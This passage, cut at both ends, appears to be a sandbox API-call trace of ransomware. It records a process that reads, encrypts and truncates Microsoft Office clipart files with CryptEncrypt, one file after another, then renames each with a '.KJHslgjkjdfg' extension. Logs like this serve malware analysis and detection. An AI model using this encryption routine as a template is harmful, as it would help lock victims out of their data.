ftLastWriteTime.dwLowDateTime=0xfba2a500, ftLastWriteTime.dwHighDateTime=0x1bd4b02, nFileSizeHigh=0x0, nFileSizeLow=0x7c4a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TR00233_.WMF", cAlternateFileName="")) returned 1 [0218.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00233_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.724] GetProcessHeap () returned 0x990000 [0218.724] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.724] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.724] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.725] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0218.727] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.727] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.727] GetProcessHeap () returned 0x990000 [0218.727] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.727] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.727] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.727] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.728] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.728] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.728] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.728] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.728] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.728] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.728] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.728] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.728] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7c4a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7c4a, lpOverlapped=0x0) returned 1 [0218.730] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7c50, dwBufLen=0x7c50 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7c50) returned 1 [0218.730] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.730] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7c50, lpOverlapped=0x0) returned 1 [0218.731] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.731] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7d24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.731] SetEndOfFile (hFile=0x130) returned 1 [0218.734] GetProcessHeap () returned 0x990000 [0218.734] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.734] GetProcessHeap () returned 0x990000 [0218.734] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.734] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00233_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00233_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00233_.wmf.kjhslgjkjdfg")) returned 1 [0218.736] CloseHandle (hObject=0x130) returned 1 [0218.736] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TR00402_.WMF", cAlternateFileName="")) returned 1 [0218.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00402_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00402_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.738] GetProcessHeap () returned 0x990000 [0218.738] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.738] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.738] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.738] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.738] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.738] GetProcessHeap () returned 0x990000 [0218.738] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.738] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.738] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.738] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.741] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.741] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.741] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.741] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.741] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.741] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.741] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.741] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.741] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8e0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x8e0, lpOverlapped=0x0) returned 1 [0218.742] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8e0, dwBufLen=0x8e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8e0) returned 1 [0218.742] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.742] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x8e0, lpOverlapped=0x0) returned 1 [0218.742] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.742] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.742] SetEndOfFile (hFile=0x130) returned 1 [0218.745] GetProcessHeap () returned 0x990000 [0218.745] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.745] GetProcessHeap () returned 0x990000 [0218.745] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.745] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00402_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00402_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00402_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00402_.wmf.kjhslgjkjdfg")) returned 1 [0218.747] CloseHandle (hObject=0x130) returned 1 [0218.747] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf396200, ftCreationTime.dwHighDateTime=0x1bd4c01, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdf396200, ftLastWriteTime.dwHighDateTime=0x1bd4c01, nFileSizeHigh=0x0, nFileSizeLow=0x2054, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TR00482_.WMF", cAlternateFileName="")) returned 1 [0218.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00482_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00482_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.749] GetProcessHeap () returned 0x990000 [0218.749] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.749] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.749] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.749] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0218.751] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.751] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.751] GetProcessHeap () returned 0x990000 [0218.751] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.751] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.751] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.751] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.752] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.752] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.752] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.752] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.752] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.752] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.752] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.752] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.752] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2054, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2054, lpOverlapped=0x0) returned 1 [0218.753] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2060, dwBufLen=0x2060 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2060) returned 1 [0218.754] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.754] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2060, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2060, lpOverlapped=0x0) returned 1 [0218.754] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.754] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.754] SetEndOfFile (hFile=0x130) returned 1 [0218.757] GetProcessHeap () returned 0x990000 [0218.757] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.757] GetProcessHeap () returned 0x990000 [0218.757] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.757] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00482_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00482_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00482_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00482_.wmf.kjhslgjkjdfg")) returned 1 [0218.759] CloseHandle (hObject=0x130) returned 1 [0218.759] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55d3200, ftCreationTime.dwHighDateTime=0x1bd4bf4, ftLastAccessTime.dwLowDateTime=0x5aeb55b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd55d3200, ftLastWriteTime.dwHighDateTime=0x1bd4bf4, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TR00494_.WMF", cAlternateFileName="")) returned 1 [0218.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00494_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.760] GetProcessHeap () returned 0x990000 [0218.760] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.760] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.760] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.760] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.760] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.760] GetProcessHeap () returned 0x990000 [0218.760] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.760] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.761] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.761] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.763] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.763] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.763] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.763] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.764] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.764] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.764] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.764] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.764] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1800, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1800, lpOverlapped=0x0) returned 1 [0218.765] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1800, dwBufLen=0x1800 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1800) returned 1 [0218.765] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.765] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1800, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1800, lpOverlapped=0x0) returned 1 [0218.766] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.766] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x18d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.766] SetEndOfFile (hFile=0x130) returned 1 [0218.768] GetProcessHeap () returned 0x990000 [0218.768] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.769] GetProcessHeap () returned 0x990000 [0218.769] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.769] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00494_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00494_.wmf.kjhslgjkjdfg")) returned 1 [0218.770] CloseHandle (hObject=0x130) returned 1 [0218.771] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70639c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x342e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="URBAN_01.MID", cAlternateFileName="")) returned 1 [0218.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.772] GetProcessHeap () returned 0x990000 [0218.772] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.772] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.772] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.772] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0218.775] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.775] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.775] GetProcessHeap () returned 0x990000 [0218.775] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.775] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.775] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.775] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, 